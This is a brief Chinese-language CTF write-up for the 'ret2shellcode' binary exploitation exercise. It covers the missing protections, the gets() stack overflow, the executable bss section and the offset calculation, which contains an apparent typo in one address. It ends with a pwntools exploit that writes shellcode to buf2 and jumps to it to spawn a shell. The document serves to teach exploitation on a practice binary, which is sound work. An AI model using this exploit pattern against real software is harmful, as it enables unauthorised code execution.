首先file看看
checksec ret2shellcode
可以看见没开任何保护措施
此gets函数甚是危险 所以是栈溢出不假了
这里看一下buf2
gdb调试 看看bss段得权限
可以看见是可写可读可以执行
是在bss段 bss这里放的一般是用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域
那么我们思路很清楚了,1.偏移 2.控制程序执行 shellcode 3.exp
1.偏移

计算一下
也就是跟ret2text差不多0xffffd000-(1c+0xffffcd088)=108
别忘记32位得程序还得覆盖ebp 所以108+4=112,还有一种简单得方法就是cyclic就不说了
2.控制
控制这里已经说清楚了 因为 bss段可执行 只要把内容写到这个地方,然后返回地址跳转到 bss 段就可以执行 shellcode,这里就解释了为什么这题属于rop
3.exp
(补充个pwntools用法https://www.yuque.com/hxfqg9/bin/yxegb6)
from pwn import *
sh=process(‘./ret2shellcode’)
shellcode = asm(shellcraft.sh()) #生成shellcode
buf2_addr = 0x804a080
payload=shellcode.ljust(112, ‘A’) + p32(buf2_addr)
sh.sendline(payload)
sh.interactive()
